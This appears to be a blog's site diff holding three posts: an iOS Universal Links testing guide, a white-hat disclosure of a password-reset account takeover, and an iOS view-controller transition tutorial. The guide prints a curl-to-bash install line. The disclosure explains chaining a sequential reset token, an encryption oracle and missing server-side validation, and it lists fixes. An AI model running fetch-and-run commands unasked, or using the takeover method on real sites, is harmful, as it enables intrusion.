Headers: HOST=app-site-association.cdn-apple.com
+GET https://app-site-association.cdn-apple.com/a/v1/your-domain
+

You can see the current version on Apple CDN. (Remember to add Request Header Host=https://app-site-association.cdn-apple.com/)

iOS ≥ 14 Debug

Due to the aforementioned CDN issue, how can we debug during the development phase?

Fortunately, Apple provides a solution for this part, otherwise it would be really frustrating not being able to update in real-time; we just need to add ?mode=developer after applinks:domain.com, and there are also managed (for enterprise internal APP) or developer+managed modes that can be set.

After adding mode=developer, the app will fetch the latest app-site-association directly from the website every time you Build & Run on the simulator.

If you want to Build & Run on a real device, you need to go to “Settings” -> “Developer” -> enable the “Associated Domains Development” option.

⚠️ There is a pitfall here, app-site-association can be placed in the root directory of the website or in the ./.well-known directory; but in mode=developer, it will only look for ./.well-known/app-site-association, which made me think it wasn’t working.

Development Testing

If you are using iOS <14, remember that if you have made changes to app-site-association, you need to delete it and then Build & Run the app again to fetch the latest one. For iOS ≥ 14, please refer to the aforementioned method and add mode=developer.

For better modification of the app-site-association content, you can modify the file on the server yourself. However, for those of us who sometimes cannot access the server side, testing universal links can be very troublesome. You have to constantly bother backend colleagues for help, and it becomes necessary to be very certain about the app-site-association content before going live, as constantly changing it can drive your colleagues crazy.

Setting up a Local Simulation Environment

To solve the above problem, we can set up a small service locally.

First, install nginx on your Mac:

1
+
brew install nginx
+

If you haven’t installed brew yet, you can do so by running:

1
+
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+

After installing nginx, go to /usr/local/etc/nginx/ and open the nginx.conf file for editing:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
...omitted
+server {
+        listen       8080;
+        server_name  localhost;
+#charset koi8-r;
+#access_log  logs/host.access.log  main;
+location / {
+            root   /Users/yourusername/Documents;
+            index  index.html index.htm;
+        }
+...omitted
+

Around line 44, change the root in the location / to the directory you want (using Documents as an example here).

Listening on port 8080, no need to change if there are no conflicts.

Save the changes, then start nginx by running:

1
+
nginx
+

To stop it, run:

1
+
nginx -s stop
+

If you make changes to nginx.conf, remember to run:

1
+
nginx -s reload
+

to restart the service.

Create a ./.well-known directory inside the root directory you just configured, and place the apple-app-site-association file inside ./.well-known.

⚠️ If .well-known disappears after creation, please note that on Mac, you need to enable “Show hidden files” feature:

In the terminal, run:

1
+
defaults write com.apple.finder AppleShowAllFiles TRUE
+

Then run killall finder to restart all finders.

⚠️ The apple-app-site-association file may not have an extension, but it actually has the .json extension:

Right-click on the file -> “Get Info” -> “Name & Extension” -> Check for the extension and uncheck “Hide extension” if necessary.

Once confirmed, open the browser to test if the following link can be downloaded successfully: apple-app-site-association at:

1
+
http://localhost:8080/.well-known/apple-app-site-association
+

If the download is successful, it means the local environment simulation is successful!

If you encounter a 404/403 error, please check if the root directory is correct, if the directory/file is placed correctly, and if the apple-app-site-association file accidentally includes the extension (.json).

Register & Download Ngrok

[ngrok.com](https://dashboard.ngrok.com/get-started/setup){:target="_blank"}

ngrok.com

Extract the ngrok executable

Extract the ngrok executable

Access the [Dashboard page](https://dashboard.ngrok.com/get-started/setup){:target="_blank"} to execute Config settings

Access the Dashboard page to execute Config settings

1
+
./ngrok authtoken YOUR_TOKEN
+

After setting up, run:

1
+
./ngrok http 8080
+

Because our nginx is on port 8080.

Start the service.

At this point, you will see a window showing the status of the service startup, and you can obtain the public URL assigned for this session from the Forwarding section.

⚠️ The assigned URL changes every time you start, so it can only be used for development testing purposes.

Here, we will use the assigned URL for this session https://ec87f78bec0f.ngrok.io/ _as an example.

Return to the browser and enter https://ec87f78bec0f.ngrok.io/.well-known/apple-app-site-association to see if you can successfully download and view the apple-app-site-association file. If everything is fine, you can proceed to the next step.

Enter the ngrok-assigned URL into the Associated Domains applinks: settings.

Remember to add ?mode=developer for testing purposes.

Rebuild & Run the APP:

Open the browser and enter the corresponding Universal Links test URL (e.g., https://ec87f78bec0f.ngrok.io/buy/123) to see the results.

If a 404 page appears, ignore it as we don’t actually have that page. We are testing if iOS matches the URL functionality as expected. If you see “Open” above, it means the match is successful. You can also test the reverse scenario.

Click “Open” to open the APP -> Test successful!

After testing OK in the development phase, confirming the modified apple-app-site-association file and handing it over to the backend for uploading to the server can ensure everything goes smoothly~

Finally, remember to change the Associated Domains applinks to the correct trial site URL.

Additionally, we can also check whether the apple-app-site-association file is requested each time the APP Build & Run is executed from the ngrok status window:

Before iOS < 13:

The configuration file is relatively simple, and only the following content can be set:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
{
+  "applinks": {
+      "apps": [],
+      "details": [
+           {
+             "appID" : "TeamID.BundleID",
+             "paths": [
+               "NOT /help/",
+               "*"
+             ]
+           }
+       ]
+   }
+}
+

Replace TeamID.BundleId with your project settings (ex: TeamID = ABCD, BundleID = li.zhgchg.demoapp => ABCD.li.zhgchg.demoapp).

If there are multiple appIDs, you need to add multiple sets.

The paths section represents the matching rules, supporting the following syntax:

  • *: Matches 0 to multiple characters, ex: /home/* (home/alan…)
  • ?: Matches 1 character, ex: 201? (2010~2019)
  • ?*: Matches 1 to multiple characters, ex: /?* (/test, /home…)
  • NOT: Excludes in reverse, ex: NOT /help (any URL but /help)

You can decide on more combinations based on the actual situation, for more information, refer to the official documentation.

- Please note, it is not Regex and does not support any Regex syntax. - The old version does not support Query (?name=123) and Anchor (#title). - Chinese URLs must be converted to ASCII before being placed in paths (all URL characters must be ASCII).

After iOS ≥ 13:

The functionality of the configuration file has been enhanced, with added support for Query/Anchor, character sets, and encoding handling.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
"applinks": {
+  "details": [
+    {
+      "appIDs": [ "TeamID.BundleID" ],
+      "components": [
+        {
+          "#": "no_universal_links",
+          "exclude": true,
+          "comment": "Matches any URL whose fragment equals no_universal_links and instructs the system not to open it as a universal link"
+        },
+        {
+          "/": "/buy/*",
+          "comment": "Matches any URL whose path starts with /buy/"
+        },
+        {
+          "/": "/help/website/*",
+          "exclude": true,
+          "comment": "Matches any URL whose path starts with /help/website/ and instructs the system not to open it as a universal link"
+        },
+        {
+          "/": "/help/*",
+          "?": { "articleNumber": "????" },
+          "comment": "Matches any URL whose path starts with /help/ and that has a query item with name 'articleNumber' and a value of exactly 4 characters"
+        }
+      ]
+    }
+  ]
+}
+

Copied content:

appIDs is an array that can contain multiple appIDs, so you don’t have to repeat the entire block as before.

WWDC mentioned compatibility with the old version, when iOS ≥ 13 reads the new format, it will ignore the old paths.

The matching rules are now placed in components; supporting 3 types:

  • /: URL
  • ?: Query, ex: ?name=123&place=tw
  • #: Anchor, ex: #title

They can be used together. For example, if only /user/?id=100#detail needs to jump to the app, it can be written as:

1
+2
+3
+4
+5
+
{
+  "/": "/user/*",
+  "?": { "id": "*" },
+  "#": "detail"
+}
+

The matching syntax remains the same as the original syntax, also supporting *, ?, ?*.

Added comment field for comments to help identification. (But please note that this is public and visible to others)

Reverse exclusion is now specified with exclude: true.

Added caseSensitive feature to specify whether the matching rules are case-sensitive, default: true. This can reduce the number of rules needed if required.

Added percentEncoded as mentioned earlier, in the old version, URLs needed to be converted to ASCII and placed in paths first (if it’s Chinese characters, it will look ugly and unrecognizable); this parameter specifies whether to automatically encode for us, default is true. If it’s a Chinese URL, it can be directly included (ex: /customer service ).

For detailed official documentation, refer to this.

Default character sets:

This is one of the important features of this update, adding support for character sets.

System-defined character sets:

  • $(alpha): A-Z and a-z
  • $(upper): A-Z
  • $(lower): a-z
  • $(alnum): A-Z, a-z, and 0–9
  • $(digit): 0–9
  • $(xdigit): Hexadecimal characters, 0–9 and a,b,c,d,e,f,A,B,C,D,E,F
  • $(region): ISO region codes isoRegionCodes, Ex: TW
  • $(lang): ISO language codes isoLanguageCodes, Ex: zh

If our URL has multiple languages and we want to support Universal links, we can set it up like this:

1
+2
+3
+
"components": [        
+     { "/" : "/$(lang)-$(region)/$(food)/home" }      
+]
+

This way, both /zh-TW/home and /en-US/home will be supported, making it very convenient without having to write a long list of rules!

Custom character sets:

In addition to the default character sets, we can also define custom character sets for increased configurability and readability.

Simply add substitutionVariables in applinks:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
{
+  "applinks": {
+    "substitutionVariables": {
+      "food": [ "burrito", "pizza", "sushi", "samosa" ]
+    },
+    "details": [{
+      "appIDs": [ ... ],
+      "components": [
+        { "/" : "/$(food)/" }
+      ]
+    }]
+  }
+}
+

In this example, a custom food character set is defined and used in subsequent components.

The example can match /burrito, /pizza, /sushi, /samosa.

For more details, refer to this article in the official documentation.

No inspiration?

If you don’t have any inspiration for the content of the configuration file, you can secretly refer to the content of other websites. Just add /app-site-association or /.well-known/app-site-association to the homepage URL of the service website to read their configuration.

For example: https://www.netflix.com/apple-app-site-association

Supplement

In the case of using SceneDelegate, the entry point for opening universal links is in the SceneDelegate:

1
+
func scene(_ scene: UIScene, continue userActivity: NSUserActivity)
+

Instead of in AppDelegate:

1
+
func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool
+

Further Reading

References

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS Cross-Platform Account and Password Integration to Enhance Login Experience

Reinstallation Note 1 - Laravel Homestead + phpMyAdmin Environment Setup

diff --git a/posts/142244e5f07a/index.html b/posts/142244e5f07a/index.html new file mode 100644 index 0000000000..94d74b355e --- /dev/null +++ b/posts/142244e5f07a/index.html @@ -0,0 +1,9 @@ + Revealing a Clever Website Vulnerability Discovered Years Ago | ZhgChgLi
Home Revealing a Clever Website Vulnerability Discovered Years Ago
Post
Cancel

Revealing a Clever Website Vulnerability Discovered Years Ago

Revealing a Clever Website Vulnerability Discovered Years Ago

Website security issues caused by multiple vulnerabilities combined

Photo by [Tarik Haiga](https://unsplash.com/@tar1k?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Tarik Haiga

Introduction

A few years ago, while still supporting web development, I was assigned the task of organizing a CTF competition for the company’s internal engineering team. Initially, the idea was to have teams attack and defend each other’s products, but as the organizer, I wanted to first understand the level of expertise. So, I conducted penetration tests on various company products to see how many vulnerabilities I could find, ensuring the event would run smoothly.

However, due to limited competition time and significant differences between engineering teams, the final questions were based on common engineering knowledge and interesting topics. Those interested can refer to my previous article, “ How to Create an Interesting Engineering CTF Competition “, which contains many mind-blowing questions!

Discovered Vulnerabilities

I found a total of four vulnerabilities across three products. Besides the issue discussed in this article, I also discovered the following common website vulnerabilities:

  1. Never Trust The Client! This is a basic issue where the frontend directly sends the ID to the backend, and the backend accepts it. This should be changed to token recognition.
  2. Password Reset Design Flaw I don’t remember the exact details, but there was a design flaw that allowed bypassing email verification during the password reset process.
  3. XSS Issue
  4. The vulnerability discussed in this article

All vulnerabilities were found through black-box testing. Only the product with the XSS issue was one I had participated in developing; I had no prior knowledge of the others or their code.

Current Status of the Vulnerability

As a white-hat hacker, I reported all discovered issues to the engineering team immediately, and they were fixed. It’s been two years now, and I think it’s time to disclose this. However, to respect my former company’s position, I won’t mention which product had this vulnerability. Just focus on the discovery process and reasons behind it!

Consequences of the Vulnerability

This vulnerability allows an attacker to arbitrarily change the target user’s password, log in to the target user’s account with the new password, steal personal information, and perform illegal operations.

Main Cause of the Vulnerability

As the title suggests, this vulnerability was triggered by a combination of multiple factors, including:

  • Account login not supporting two-factor authentication or device binding
  • Password reset verification using a serial number
  • Decryption vulnerability in the website’s data encryption function
  • Misuse of encryption and decryption functions
  • Design flaws in the verification token
  • Backend not re-validating field correctness
  • User email being public information on the platform

Reproducing the Vulnerability

Since user emails are public information on the platform, we first browse the platform to find the target account’s email. After knowing the email, go to the password reset page.

  • First, enter your own email to initiate the password reset process.
  • Then, enter the email of the account you want to hack and initiate the password reset process again.

Both actions will send out password reset verification emails.

Go to your email to receive your password reset verification email.

The change password link has the following URL format:

1
+
https://zhgchg.li/resetPassword.php?auth=PvrrbQWBGDQ3LeSBByd
+

PvrrbQWBGDQ3LeSBByd is the verification token for this password reset operation.

However, while observing the verification code image on the website, I noticed that the link format for the verification code image is also similar:

1
+
https://zhgchg.li/captchaImage.php?auth=6EqfSZLqDc
+

6EqfSZLqDc shows 5136.

What happens if we put our password reset token in? Who cares! Let’s try it!

Bingo!

But the captcha image is too small to get complete information.

Let’s keep looking for exploitable points…

The website, to prevent web scraping, displays users’ public profile email addresses as images. Keyword: images! images! images!

Let’s open it up and take a look:

Profile Page

Profile Page

Part of the Webpage Source Code

Part of the Webpage Source Code

We also got a similar URL format result:

1
+
https://zhgchg.li/mailImage.php?mail=V3sDblZgDGdUOOBlBjpRblMTDGwMbwFmUT10bFN6DDlVbAVt
+

V3sDblZgDGdUOOBlBjpRblMTDGwMbwFmUT10bFN6DDlVbAVt shows zhgchgli@gmail.com

Same thing, let’s stuff it in!

Bingo!🥳🥳🥳

PvrrbQWBGDQ3LeSBByd = 2395656

After reversing the password reset token and finding out it’s a number

I thought, could it be a serial number…

So I entered the email again to request a password reset, decoded the new token from the received email, and got 2395657… what the fxck… it really is.

Knowing it’s a serial number makes things easier, so the initial operation was to request a password reset email for my account first, then request it for the target to be hacked; because we can already predict the next password request ID.

Next, we just need to find a way to convert 2395657 back to a token!

Coincidentally, we found another issue

The website only validates the email format on the frontend when editing data, without re-validating the format on the backend…

Bypassing the frontend validation, we change the email to the next target.

Fire in the hole!

We got:

1
+
https://zhgchg.li/mailImage.php?mail=UTVRZwZuDjMNPLZhBGI
+

Now, take this password reset token back to the password reset page:

Success! Bypassed verification to reset someone else’s password!

Finally, because there is no two-factor authentication or device binding feature; once the password is overwritten, you can log in directly and impersonate the user.

Reason for the Incident

Let’s review the whole process.

  • Initially, we wanted to reset the password but found that the reset token was actually a serial number, not a truly unique identifier.
  • The website abused encryption and decryption functions without distinguishing their usage; almost the entire site used the same set.
  • The website had an online arbitrary encryption and decryption entry (equivalent to the key being compromised).
  • The backend did not re-validate user input.
  • There was no two-factor authentication or device binding feature.

Fixes

  • Fundamentally, the password reset token should be a randomly generated unique identifier.
  • The website’s encryption and decryption parts should use different keys for different functions.
  • Avoid allowing external arbitrary data encryption and decryption.
  • The backend should validate user input.
  • To be safe, add two-factor authentication and device binding features.

Summary

The whole vulnerability discovery process surprised me because many issues were basic design problems; although the functionality seemed to work individually, and small holes seemed safe, combining multiple holes can create a big one. It’s really important to be cautious in development.

Further Reading

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks

Medium Custom Domain Feature Returns

diff --git a/posts/14cee137c565/index.html b/posts/14cee137c565/index.html new file mode 100644 index 0000000000..14cdfe7140 --- /dev/null +++ b/posts/14cee137c565/index.html @@ -0,0 +1,1101 @@ + iOS UIViewController Transition Techniques | ZhgChgLi
Home iOS UIViewController Transition Techniques
Post
Cancel

iOS UIViewController Transition Techniques

iOS UIViewController Transition Techniques

Complete guide to pull-down to close, pull-up to appear, and full-page right swipe back effects in UIViewController

Introduction

I’ve always been curious about how commonly used apps like Facebook, Line, Spotify, etc., implement effects such as “pull-down to close a presented UIViewController,” “pull-up to gradually appear a UIViewController,” and “full-page support for right swipe back.”

These effects are not built-in, and the pull-down to close feature only has system card style support starting from iOS 13.

Exploration Journey

Whether it’s due to not knowing the right keywords or the difficulty in finding the information, I could never find a clear implementation method for these features. The information I found was always vague and scattered, requiring piecing together from various sources.

When I first researched the method, I found the UIPresentationController API. Without delving deeper into other resources, I used this method combined with UIPanGestureRecognizer to achieve the pull-down to close effect in a rather crude way. It always felt off, like there should be a better way.

Recently, while working on a new project, I came across this article which broadened my horizons and revealed more elegant and flexible APIs.

This post serves as both a personal record and a guide for those who share my confusion.

The content is quite extensive. If you’re in a hurry, you can skip to the end for examples or directly download the GitHub project for study!

iOS 13 Card Style Presentation

First, let’s talk about the latest built-in effect. From iOS 13 onwards, UIViewController.present(_:animated:completion:) defaults to the modalPresentationStyle effect of UIModalPresentationAutomatic for card style presentation. If you want to maintain the previous full-page presentation, you need to specifically set it back to UIModalPresentationFullScreen.

Built-in Calendar Add Effect

Built-in Calendar Add Effect

How to Disable Pull-Down to Close? Confirmation on Close?

A better user experience should check for unsaved data when triggering the pull-down to close action, prompting the user whether to discard changes before leaving.

Apple has thought of this for us. Simply implement the methods in UIAdaptivePresentationControllerDelegate.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+
import UIKit
+
+class DetailViewController: UIViewController {
+    private var onEdit: Bool = true;
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        // Set delegate
+        self.presentationController?.delegate = self
+        // if UIViewController is embedded in NavigationController:
+        // self.navigationController?.presentationController?.delegate = self
+        
+        // Disable pull-down to close method (1):
+        self.isModalInPresentation = true;
+        
+    }
+    
+}
+
+// Delegate implementation
+extension DetailViewController: UIAdaptivePresentationControllerDelegate {
+    // Disable pull-down to close method (2):
+    func presentationControllerShouldDismiss(_ presentationController: UIPresentationController) -> Bool {
+        return false;
+    }
+    
+    // Triggered when pull-down to close is canceled
+    func presentationControllerDidAttemptToDismiss(_ presentationController: UIPresentationController) {
+        if (onEdit) {
+          let alert = UIAlertController(title: "Unsaved Data", message: nil, preferredStyle: .actionSheet)
+          alert.addAction(UIAlertAction(title: "Discard and Leave", style: .default) { _ in
+              self.dismiss(animated: true)
+          })
+          alert.addAction(UIAlertAction(title: "Continue Editing", style: .cancel, handler: nil))
+          self.present(alert, animated: true)      
+        } else {
+          self.dismiss(animated: true, completion: nil)
+        }
+    }
+}
+

To cancel the dismissal by swipe down, you can either set the UIViewController variable isModalInPresentation to false or implement the UIAdaptivePresentationControllerDelegate method presentationControllerShouldDismiss and return true.

The method UIAdaptivePresentationControllerDelegate presentationControllerDidAttemptToDismiss is only called when the dismissal by swipe down is canceled.

By the way…

For the system, a card-style presentation page is considered a Sheet, which behaves differently from FullScreen.

Assuming that RootViewController is HomeViewController

In a card-style presentation (UIModalPresentationAutomatic):

When HomeViewController Presents DetailViewController

HomeViewController viewWillDisAppear / viewDidDisAppear will not be triggered.

When DetailViewController Dismisses

HomeViewController viewWillAppear / viewDidAppear will not be triggered.

⚠️ Since XCODE 11, iOS ≥ 13 apps packaged by default use the card style (UIModalPresentationAutomatic) for Presentations

If you previously placed some logic in viewWillAppear/viewWillDisappear/viewDidAppear/viewDidDisappear, be sure to check carefully! ⚠️

After looking at the built-in system, let’s get to the main point of this article! How to achieve these effects yourself?

Where can you perform transition animations?

First, let’s organize where you can perform window transition animations.

UITabBarController/UIViewController/UINavigationController

UITabBarController/UIViewController/UINavigationController

When switching UITabBarController

We can set the delegate for UITabBarController and implement the animationControllerForTransitionFrom method to apply custom transition effects when switching UITabBarController.

The system default has no animation. The above demonstration shows a fade-in fade-out transition effect.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
import UIKit
+
+class MainTabBarViewController: UITabBarController {
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        self.delegate = self
+        
+    }
+    
+}
+
+extension MainTabBarViewController: UITabBarControllerDelegate {
+    func tabBarController(_ tabBarController: UITabBarController, animationControllerForTransitionFrom fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        //return UIViewControllerAnimatedTransitioning
+    }
+}
+

When UIViewController Presents/Dismisses

Naturally, when Presenting/Dismissing a UIViewController, you can specify the animation effect to apply; otherwise, this article wouldn’t exist XD. However, it’s worth mentioning that if you only want to create a Present animation without gesture control, you can directly use UIPresentationController for convenience and speed (see references at the end of the article).

The system default is slide up to appear and slide down to disappear! If you customize it yourself, you can add effects such as fade-in, rounded corners, control of appearance position, etc.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
import UIKit
+
+class HomeAddViewController: UIViewController {
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+
+        self.modalPresentationStyle = .custom
+        self.transitioningDelegate = self
+    }
+    
+}
+
+extension HomeAddViewController: UIViewControllerTransitioningDelegate {
+    
+    func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        // Return nil to use the default animation
+        return //UIViewControllerAnimatedTransitioning Animation to apply when presenting
+    }
+    
+    func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        // Return nil to use the default animation
+        return //UIViewControllerAnimatedTransitioning Animation to apply when dismissing
+    }
+}
+

Any UIViewController can implement transitioningDelegate to specify Present/Dismiss animations; UITabBarViewController, UINavigationController, UITableViewController, etc. can all do this.

UINavigationController Push/Pop

UINavigationController is probably the one that needs animation customization the least, because the system’s default left-slide to appear and right-slide to return animations are already the best effects. Customizing this part might be used to create seamless UIViewController left-right switching effects.

Since we want to enable full-page gesture returns, we need to implement a custom POP animation effect.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
import UIKit
+
+class HomeNavigationController: UINavigationController {
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        self.delegate = self
+    }
+
+}
+
+extension HomeNavigationController: UINavigationControllerDelegate {
+    func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationController.Operation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        
+        if operation == .pop {
+            return //UIViewControllerAnimatedTransitioning Animation to apply when returning
+        } else if operation == .push {
+            return //UIViewControllerAnimatedTransitioning Animation to apply when pushing
+        }
+        
+        // Return nil to use the default animation
+        return nil
+    }
+}
+

Interactive vs Non-interactive Animations?

Before discussing animation implementation and gesture control, let’s first talk about what interactive and non-interactive mean.

Interactive Animation: Gesture-triggered animations, such as UIPanGestureRecognizer

Non-interactive Animation: System-triggered animations, such as self.present( )

How to Implement Animation Effects?

After discussing where animations can be applied, let’s look at how to create animation effects.

We need to implement the UIViewControllerAnimatedTransitioning protocol and animate the view within it.

General Transition Animation: UIView.animate

Directly use UIView.animate for animation handling. At this point, UIViewControllerAnimatedTransitioning needs to implement two methods: transitionDuration to specify the duration of the animation, and animateTransition to implement the animation content.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+
import UIKit
+
+class SlideFromLeftToRightTransition: NSObject, UIViewControllerAnimatedTransitioning {
+    
+    func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval {
+        return 0.4
+    }
+    
+    func animateTransition(using transitionContext: UIViewControllerContextTransitioning) {
+        
+        // Available parameters:
+        // Get the view content of the target UIViewController to be displayed:
+        let toView = transitionContext.view(forKey: .to)
+        // Get the target UIViewController to be displayed:
+        let toViewController = transitionContext.viewController(forKey: .to)
+        // Get the initial frame information of the target UIViewController's view:
+        let toInitalFrame = transitionContext.initialFrame(for: toViewController!)
+        // Get the final frame information of the target UIViewController's view:
+        let toFinalFrame = transitionContext.finalFrame(for: toViewController!)
+        
+        // Get the view content of the current UIViewController:
+        let fromView = transitionContext.view(forKey: .from)
+        // Get the current UIViewController:
+        let fromViewController = transitionContext.viewController(forKey: .from)
+        // Get the initial frame information of the current UIViewController's view:
+        let fromInitalFrame = transitionContext.initialFrame(for: fromViewController!)
+        // Get the final frame information of the current UIViewController's view: (can get the final frame from the previous display animation when closing the animation)
+        let fromFinalFrame = transitionContext.finalFrame(for: fromViewController!)
+        
+        // toView.frame.origin.y = UIScreen.main.bounds.size.height
+        
+        UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveLinear], animations: {
+            // toView.frame.origin.y = 0
+        }) { (_) in
+            if (!transitionContext.transitionWasCancelled) {
+                // Animation was not interrupted
+            }
+            
+            // Notify the system that the animation is complete
+            transitionContext.completeTransition(!transitionContext.transitionWasCancelled)
+        }
+        
+    }
+    
+}
+

To and From:

Assume today HomeViewController needs to Present/Push DetailViewController,

From = HomeViewController / To = DetailViewController

When DetailViewController needs to Dismiss/Pop,

From = DetailViewController / To = HomeViewController

⚠️⚠️⚠️⚠️⚠️

It is recommended by the official documentation to use the view from transitionContext.view rather than from transitionContext.viewController.view.

However, there is an issue when performing Present/Dismiss animations with modalPresentationStyle = .custom;

Using transitionContext.view(forKey: .from) during Present will be nil, and

Using transitionContext.view(forKey: .to) during Dismiss will also be nil;

You still need to get the value from viewController.view.

⚠️⚠️⚠️⚠️⚠️

transitionContext.completeTransition(!transitionContext.transitionWasCancelled) must be called when the animation is complete, otherwise the screen will freeze;

However, if UIView.animate has no executable animation, it will not call completion, causing the aforementioned method not to be called; so make sure the animation will execute (e.g., y from 100 to 0).

ℹ️ℹ️ℹ️ℹ️ℹ️

For ToView/FromView involved in the animation, if the view is more complex or there are some issues during the animation; you can use snapshotView(afterScreenUpdates:) to take a screenshot for the animation display. First, take a screenshot and then transitionContext.containerView.addSubview(snapShotView) to the layer, then hide the original ToView/FromView (isHidden = true), and at the end of the animation, snapShotView.removeFromSuperview() and restore the original ToView/FromView (isHidden = true).

Interruptible and Continuable Transition Animations: UIViewPropertyAnimator

You can also use the new animation class introduced in iOS ≥ 10 to implement animation effects. Choose based on personal preference or the level of detail required for the animation. Although the official recommendation is to use UIViewPropertyAnimator for interactive animations, generally, both interactive and non-interactive (gesture control) animations can be done using UIView.animate; UIViewPropertyAnimator allows for interruptible and continuable transition animations, though I’m not sure where it can be practically applied. Interested readers can refer to this article.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
import UIKit
+
+class FadeInFadeOutTransition: NSObject, UIViewControllerAnimatedTransitioning {
+    
+    private var animatorForCurrentTransition: UIViewImplicitlyAnimating?
+
+    func interruptibleAnimator(using transitionContext: UIViewControllerContextTransitioning) -> UIViewImplicitlyAnimating {
+        
+        // Return the current transition animator if it exists
+        if let animatorForCurrentTransition = animatorForCurrentTransition {
+            return animatorForCurrentTransition
+        }
+        
+        // Parameters as mentioned before
+        
+        // fromView.frame.origin.y = 100
+        
+        let animator = UIViewPropertyAnimator(duration: transitionDuration(using: transitionContext), curve: .linear)
+        
+        animator.addAnimations {
+            // fromView.frame.origin.y = 0
+        }
+        
+        animator.addCompletion { (position) in
+            transitionContext.completeTransition(!transitionContext.transitionWasCancelled)
+        }
+        
+        // Hold onto the animator
+        self.animatorForCurrentTransition = animator
+        return animator
+    }
+    
+    func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval {
+        return 0.4
+    }
+    
+    func animateTransition(using transitionContext: UIViewControllerContextTransitioning) {
+        // For non-interactive transitions, use the interactive animator
+        let animator = self.interruptibleAnimator(using: transitionContext)
+        animator.startAnimation()
+    }
+    
+    func animationEnded(_ transitionCompleted: Bool) {
+        // Clear the animator when the animation is complete
+        self.animatorForCurrentTransition = nil
+    }
+    
+}
+

In interactive scenarios (detailed later in the control section), the interruptibleAnimator method is used for animations; in non-interactive scenarios, the animateTransition method is still used.

Due to its ability to continue and interrupt, the interruptibleAnimator method might be called repeatedly; hence, we need to use a global variable to store and access the return value.

Murmur… Actually, I initially wanted to switch entirely to the new UIViewPropertyAnimator and recommend everyone to use it, but I encountered a very strange issue. When performing a full-page gesture return Pop animation, if the gesture is released and the animation returns to its original position, the items on the Navigation Bar above will flicker with a fade-in and fade-out effect… I couldn’t find a solution, but reverting to UIView.animate resolved the issue. If there’s something I missed, please let me know <( _ _ )>.

Problem image; + button is from the previous page

Problem image; + button is from the previous page

So, to be safe, let’s stick with the old method!

In practice, different animation effects will be created in separate classes. If you find the files too cluttered, you can refer to the packaged solution at the end of the article or group related (Present + Dismiss) animations together.

transitionCoordinator

Additionally, if you need more precise control, such as having a specific component within the ViewController change along with the transition animation, you can use the transitionCoordinator in UIViewController for coordination. I didn’t use this part; if you’re interested, you can refer to this article.

How to control the animation?

This is the aforementioned “interactive” part, which is essentially gesture control. This is the most important section of this article because we aim to achieve the functionality of gesture operations linked with transition animations, enabling us to implement pull-to-close and full-page return features.

Control delegate setup:

Similar to the ViewController delegate animation design mentioned earlier, the interactive handling class also needs to inform the ViewController in the delegate.

UITabBarController: None UINavigationController (Push/Pop):

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+
import UIKit
+
+class HomeNavigationController: UINavigationController {
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        self.delegate = self
+    }
+
+}
+
+extension HomeNavigationController: UINavigationControllerDelegate {
+    func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationController.Operation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        
+        if operation == .pop {
+            return //UIViewControllerAnimatedTransitioning animation to apply when returning
+        } else if operation == .push {
